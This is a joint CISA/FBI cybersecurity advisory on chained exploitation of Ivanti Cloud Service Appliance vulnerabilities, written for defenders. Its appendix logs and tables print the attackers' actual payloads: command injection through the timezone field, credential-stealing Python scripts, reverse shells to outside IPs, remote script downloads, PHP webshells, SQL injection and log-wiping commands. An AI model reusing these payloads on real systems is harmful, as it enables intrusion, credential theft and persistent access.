{Sep 5 01:09:59 REDACTED gsb[996]: /etc/php.inirewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)}
{Sep 5 01:47:01 REDACTED gsb[2599]: /etc/php.inirewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1)}
{Sep 5 02:14:08 REDACTED gsb[1273]: /etc/php.inirewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)}
{Sep 5 22:22:06 REDACTED gsb[9367]: /etc/php.inirewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)}
{Sep 6 02:39:11 REDACTED gsb[21266]: /etc/php.inirewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1)}
{Sep 6 03:03:44 REDACTED gsb[11427]: /etc/php.inirewritten with new timezone: ‘;bash /tmp/Xa27efd2.tmp;’ (1)}
{Sep 8 05:18:35 REDACTED gsb[5132]: /etc/php.inirewritten with new timezone: ‘;/sbin/backuptool –backup;’ (1)}
{Sep 8 05:19:34 REDACTED gsb[5325]: /etc/php.inirewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1)}
{Sep 8 10:37:35 REDACTED gsb[6196]: /etc/php.inirewritten with new timezone: ‘;nc REDACTED80 -ssl -e /bin/bash;’ (1)}
{Sep 8 10:40:38 REDACTED gsb[8758]: /etc/php.inirewritten with new timezone: ‘;curl https://gggg.oyr2ohrm.eyes.sh/;’ (1)}
{Sep 8 10:41:35 REDACTED gsb[7475]: /etc/php.inirewritten with new timezone: ‘;curl 98.98.54.209/a.sh -o /dev/shm/a.sh;’ (1)}
{Sep 8 13:10:37 REDACTED gsb[22555]: /etc/php.inirewritten with new timezone: ‘;nc REDACTED80 –ssl -e /bin/bash;’ (1)}
{Sep 8 13:21:06 REDACTED gsb[24954]: /etc/php.inirewritten with new timezone: ‘;nc REDACTED80 –ssl -e /bin/bash;’ (1)}
{Sep 8 20:23:14 REDACTED gsb[1899]: /etc/php.inirewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, timeos.chdir(“/tmp”)d = “/backups”def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)except: r = Nonewith open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit()else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)}
{Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.inirewritten with new timezone: ‘;/usr/bin/echo python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“45.33.101.53”,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’== | /usr/bin/base64 -d | /bin/bash;’ (1)}
{Sep 10 11:48:32 csa gsb[6829]: /etc/php.inirewritten with new timezone: ‘;/bin/python -c ‘importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“156.234.193.18”,44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’;’ (1)}
{Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.inirewritten with new timezone: ‘;/usr/bin/echo import os, re, timeos.chdir(“/tmp”)d = “/backups/backup-09-01-2024_010101.tar.gz”with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]if os.path.exists(d): os.system(“tar zxf {}”.format(d)) pwd = os.popen(“export PGPASSWORD={};echo SELECT username,passwd FROM user_info | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().strip() p = pwd.split(‘:’) k = os.popen(“cat root/.certs/{}.0″.format(p[1])).read().strip() os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (1, ‘{}’, ‘1’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[0:200], k[200:700])) os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (2, ‘{}’, ‘2’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[700:900], k[900:])) os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (3, ‘{}’, ‘3’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, pwd[0:200], pwd[200:700])) time.sleep(60) os.system(”’export PGPASSWORD={};echo “DELETE FROM blockedcerts”|psql -d brokerdb -U gsbadmin”’.format(dbpwd)) os.system(“rm -rdf *;rm -rf *”)== | /usr/bin/base64 -d | python;’ (1)}
Appendix B: Sudo Commands
See Table 14 for a list of known sudo commands executed by the threat actors.
Command
Use
sudo: nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikKZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBpZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBiYXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZToKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BBU1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphdGlvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZGIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSBtYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQpIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvcGVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIGRicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVswXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWluIC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJcbiIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yIGYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicGhwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dPUkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgICAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAgICAgZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQkFDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;
Updates the “organization” field of the “admin” account in the PGSQL database with python script decoded from base64.
The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database.
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0
Temporarily disables SELinux.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf
Exfiltrates credentials and places them in a site.cnf webfile.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php
Creates a webshell at view.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire –update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq
FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm
9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash;
Creates a webshell at help.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setPhpTimeZone($TIMEZONE)/// setPhpTimeZone()/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php
Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setSystemTimeZone( $TIMEZONE )/// setSystemTimeZone( $TIMEZONE )/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php
Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/GSB main page/GSB main pageneval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/g’ /opt/landesk/broker/webroot/client/index.php
Adds a webshell into index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/$canvas_height = 600;/$canvas_height = 600;nteval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/’ /opt/landesk/broker/webroot/gsb/style.php
Adds a webshell into style.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php
Timestomping attempt to change the access and modification of time of index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php
Timestomping attempt to change the access and modification time of style.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php
Timestomping attempt to change the access and modification time of DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php
Timestomping attempt to change the access and modification time of help.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages
Removes evidence.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf
Removes site.cnf file (exfiltrated credentials).
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php
Removes one of the original webshells.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm
/opt/landesk/broker/webroot/gsb/view.php
Removes one of the original webshells.
Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.
Summary
The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.
According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.
All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]
Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Download the PDF version of this report:
For a downloadable copy of IOCs, see:
Technical Details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]
- CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
- CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
- CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]
According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.
According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.
Exploit Chain 1
The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody user [T1564.002], the threat actors first sent a GET request to datetime.php to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a POST request to the same endpoint, using the TIMEZONE input field to manipulate the setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.
In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.
After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET request to /gsb/reports[.]php. They immediately followed this with a POST request using the TW_ID input field to execute code to implant webshells for persistence [T1505.003].
In one confirmed compromise, the threat actors tried to create webshells using two different paths:
echo "<?php system(@
$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.phpecho "<?php system('/bin/sudo '. @
$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php
In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.
In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo commands to disable the vulnerability in DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo commands used.
Lateral Movement
In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].
Exploit Chain 2
In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.
After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.
After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.
Detection of Activity
According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.
Victim Organization 1
The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.
Victim Organization 2
This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.
Victim Organization 3
